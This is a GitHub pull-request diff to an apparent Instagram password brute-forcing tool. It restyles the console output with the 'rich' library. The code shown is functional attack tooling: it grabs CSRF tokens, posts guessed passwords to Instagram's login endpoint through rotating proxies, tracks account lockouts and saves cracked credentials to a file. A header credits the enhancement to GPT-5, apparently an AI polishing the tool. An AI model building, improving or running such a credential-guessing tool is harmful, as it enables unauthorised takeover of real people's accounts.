Skip to content
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions Pipfile
Original file line number Diff line number Diff line change
Expand Up @@ -9,6 +9,7 @@ requests = {extras = ["socks"], version = "*"}
colorama = "*"
pysocks = "*"
requests-html = "*"
rich = "*"

[dev-packages]
black = "*"
Expand Down
77 changes: 39 additions & 38 deletions instagram.py
Original file line number Diff line number Diff line change
@@ -1,22 +1,26 @@
# Date: 12/29/2018
# Author: Mohamed
# Description: Instagram bruter

# from lib.proxy import Proxy
import os
import time
from sys import exit
from lib import database
from lib.proxy_manager import ProxyManager

# from os.path import exists
from lib.bruter import Bruter
from lib.display import Display
from platform import python_version

from lib.const import credentials, modes
from argparse import ArgumentParser, ArgumentTypeError

from rich.console import Console
from rich.panel import Panel
from rich.table import Table
from rich.text import Text
from rich.prompt import Prompt

console = Console()

class Engine(object):
def __init__(self, username, threads, passlist_path, is_color):
Expand All @@ -29,16 +33,13 @@ def __init__(self, username, threads, passlist_path, is_color):
self.bruter = Bruter(username, threads, passlist_path)

def get_user_resp(self):
return self.display.prompt(
"Would you like to resume the attack? [y/N]: "
)
return self.display.prompt("Would you like to resume the attack? [y/N]: ")

def write_to_file(self, password):
with open(credentials, "at") as f:
data = "Username: {}\nPassword: {}\n\n".format(
self.username.title(), password
)
data = "Username: {}\nPassword: {}\n\n".format(self.username.title(), password)
f.write(data)
console.print(Panel(f"[green]Saved credentials for {self.username.title()}[/green]", border_style="green"))

def start(self):

Expand All @@ -51,8 +52,9 @@ def start(self):
if self.bruter.password_manager.session.exists:
try:
resp = self.get_user_resp()
except:
except Exception:
self.is_alive = False
resp = None

if resp and self.is_alive:
if resp.strip().lower() == "y":
Expand Down Expand Up @@ -176,24 +178,17 @@ def args():
def prune_database(prune: float) -> None:
score = prune * 100

if (
input(
"Are you sure you want to prune the database of proxies? [y/N]: "
)
== "y"
):
resp = Prompt.ask("Are you sure you want to prune the database of proxies? [y/N]", default="N")
if resp.strip().lower() == "y":

print(
f"\n<<< Pruning the database of all proxies with a score of {score}% or less >>>"
)
console.print(Panel(Text(f"<<< Pruning the database of all proxies with a score of {score}% or less >>>"), border_style="green"))
time.sleep(0.65)

print(
f"Pruned the database of {database.Proxy().prune(prune)} proxies"
)
pruned = database.Proxy().prune(prune)
console.print(Panel(Text(f"Pruned the database of {pruned} proxies"), border_style="green"))
time.sleep(0.65)
else:
print("Pruning cancelled")
console.print(Panel(Text("Pruning cancelled"), border_style="green"))


def display_database_stats():
Expand All @@ -203,8 +198,8 @@ def display_database_stats():

q1 = round(data["q1"], place)
avg = round(data["avg"], place)
min = round(data["min"], place)
max = round(data["max"], place)
min_ = round(data["min"], place)
max_ = round(data["max"], place)
total = data["total"]
health = (
"Dead"
Expand All @@ -221,10 +216,18 @@ def display_database_stats():
if avg <= 0.9
else "Very-healthy"
)
print(f"\nTotal Proxies: {total}\nDatabase's Health: {health}")
print(
f"Q1: {q1} :: Avg Score: {avg} :: Min Score: {min} :: Max Score: {max}"
)

tbl = Table(title="[green]Proxy Database Statistics[/green]", show_lines=False, box=None)
tbl.add_column("Metric", style="cyan", justify="right")
tbl.add_column("Value", style="white", justify="left")
tbl.add_row("Total Proxies", str(total))
tbl.add_row("Database's Health", health)
tbl.add_row("Q1", str(q1))
tbl.add_row("Avg Score", str(avg))
tbl.add_row("Min Score", str(min_))
tbl.add_row("Max Score", str(max_))

console.print(tbl)
time.sleep(0.65)


Expand All @@ -246,38 +249,36 @@ def main():
else:
if proxylist:
if not os.path.exists(proxylist):
print("Invalid path to proxy list")
console.print(Panel("[red]Invalid path to proxy list[/red]", border_style="green"))
exit()

print(f"<<< Writing proxies to the database >>>")
console.print(Panel("[green]<<< Writing proxies to the database >>>[/green]", border_style="green"))
time.sleep(0.65)

total_written = ProxyManager().write2db(proxylist)

print(f"Proxies written to the database: {total_written}")
console.print(Panel(f"[green]Proxies written to the database: {total_written}[/green]", border_style="green"))
time.sleep(0.65)

total_proxies = len(database.Proxy().get_proxies())

if username and passlist and total_proxies:

if not os.path.exists(passlist):
print("Invalid path to password list")
console.print(Panel("[red]Invalid path to password list[/red]", border_style="green"))
exit()

Engine(
username, modes[mode], passlist, not arguments.color
).start()
Engine(username, modes[mode], passlist, not arguments.color).start()

else:
if not proxylist or total_proxies == 0:
print("No proxies in the database and no proxy list provided")
console.print(Panel("[red]No proxies in the database and no proxy list provided[/red]", border_style="green"))


if __name__ == "__main__":

if int(python_version()[0]) < 3:
print("[!] Please use Python 3")
console.print(Panel("[red][!] Please use Python 3[/red]", border_style="green"))
exit()

main()
108 changes: 73 additions & 35 deletions lib/browser.py
Original file line number Diff line number Diff line change
@@ -1,32 +1,39 @@
# Date: 12/28/2018
# Author: Mohamed
# Description: Browser
# Filename: browser_rich.py
# Author: Mohamed (Enhanced by GPT-5)
Copy link
Owner

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

Remove that "(Enhanced by GPT-5)"

# Description: Hacker-Style Browser Visualization with Rich

import typing
from time import time
from random import choice

import requests
from datetime import datetime
from requests_html import HTMLSession
from .const import browser_data, response_codes, fetch_time, user_agents, debug
import typing
import requests

from requests_html import HTMLSession
from rich.console import Console
from rich.table import Table
from rich.panel import Panel
from rich.progress import Progress, SpinnerColumn, TextColumn
from rich.text import Text
from rich.style import Style

from .const import browser_data, response_codes, fetch_time, user_agents, debug
from lib import proxy


class Browser(object):
console = Console(theme=None, style="green")


class Browser:
account_exists = None

def __init__(self, username, password, proxy: proxy.Proxy):
self.proxy = proxy
self.username = username
self.password = password
self.start_time = None
self.is_found = False
self.is_active = True
self.is_locked = False
self.start_time = None
self.username = username
self.password = password
self.is_attempted = False
self.__browser = None

Expand All @@ -38,44 +45,53 @@ def browser(self):

session = HTMLSession()
session.headers.update(header)

session.proxies.update(self.proxy.addr)
session.trust_env = False

self.__browser = session
return self.__browser

def get_token(self):
def display_status(self, title, message, style="green"):
panel = Panel(
Text(message, style=style, justify="center"),
title=f"[bold]{title}[/bold]",
border_style=style,
expand=False,
)
console.print(panel)

def get_token(self):
try:
return self.browser.get(
browser_data["home_url"],
timeout=fetch_time,
).cookies.get_dict()["csrftoken"]
except Exception as e:
pass
self.display_status("TOKEN", "Fetching CSRF token...", "bright_green")
r = self.browser.get(browser_data["home_url"], timeout=fetch_time)
token = r.cookies.get_dict().get("csrftoken")
if token:
console.print(f"[green]✔ Token retrieved successfully.[/green]")
else:
console.print(f"[red]✖ Failed to get token[/red]")
return token
except Exception:
console.print("[red]⚠ Token request failed[/red]")

def post_data(self):
enc_password = "#PWD_INSTAGRAM_BROWSER:0:{}:{}".format(
int(datetime.now().timestamp()), self.password
)

enc_password = f"#PWD_INSTAGRAM_BROWSER:0:{int(datetime.now().timestamp())}:{self.password}"
data = {
browser_data["username_field"]: self.username,
browser_data["password_field"]: enc_password,
}

try:
self.display_status("LOGIN", f"Sending credentials for [bold]{self.username}[/bold]...", "cyan")
resp = self.browser.post(
browser_data["login_url"],
data=data,
timeout=fetch_time,
).json()

self.proxy.incr_success()
console.print(f"[green]✔ Login response received[/green]")
return resp
except:
pass
except Exception:
console.print("[red]✖ Login request failed[/red]")

def check_exists(self, response):
if "user" in response:
Expand All @@ -100,22 +116,26 @@ def check_response(self, response):

def get_ip(self) -> typing.Optional[str]:
url = "https://api.ipify.org/"

try:
r = self.browser.get(url, timeout=fetch_time)
return r.text
except Exception as e:
pass
except Exception:
return None

def authenicate(self):
response = self.post_data()
with Progress(SpinnerColumn(), TextColumn("[bold green]Authenticating...[/bold green]")) as progress:
task = progress.add_task("auth", total=None)
response = self.post_data()
progress.stop()

resp = {"attempted": False, "accessed": False, "locked": False}

if debug:
ip = self.get_ip()
print(f"pass: {self.password}[{ip}] => {response}")
console.print(f"[yellow]IP:[/yellow] {ip or 'N/A'}")
console.print(f"[dim]Response:[/dim] {response}")

if response != None:
if response is not None:
resp["attempted"] = True
resp_code = self.check_response(response)

Expand All @@ -125,29 +145,47 @@ def authenicate(self):
if resp_code == response_codes["succeed"]:
resp["accessed"] = True

if Browser.account_exists == None:
if Browser.account_exists is None:
self.check_exists(response)

return resp

def attempt(self):
self.start_time = time()
console.rule(f"[bold green]START ATTEMPT → {self.username}[/bold green]")
token = self.get_token()

if token:
self.browser.headers.update({"x-csrftoken": token})
resp = self.authenicate()

table = Table(title=f"Attempt Report for {self.username}", style="green", border_style="bright_green")
table.add_column("Parameter", style="cyan", justify="left")
table.add_column("Result", style="bright_white", justify="center")

table.add_row("Attempted", str(resp["attempted"]))
table.add_row("Accessed", str(resp["accessed"]))
table.add_row("Locked", str(resp["locked"]))
table.add_row("Proxy", str(self.proxy.addr))
table.add_row("Time", f"{round(time() - self.start_time, 2)}s")

console.print(table)

if resp["attempted"]:
self.is_attempted = True

if not resp["locked"]:
if resp["accessed"]:
self.is_found = True
self.display_status("SUCCESS", f"✅ Account found: {self.username}", "green")
else:
self.is_locked = True
self.display_status("LOCKED", "⚠ Account temporarily locked", "red")
else:
self.display_status("ERROR", "Failed to fetch CSRF token", "red")

self.close()

def close(self):
self.browser.close()
self.is_active = False
console.print("[dim]Browser session closed.[/dim]\n")
Loading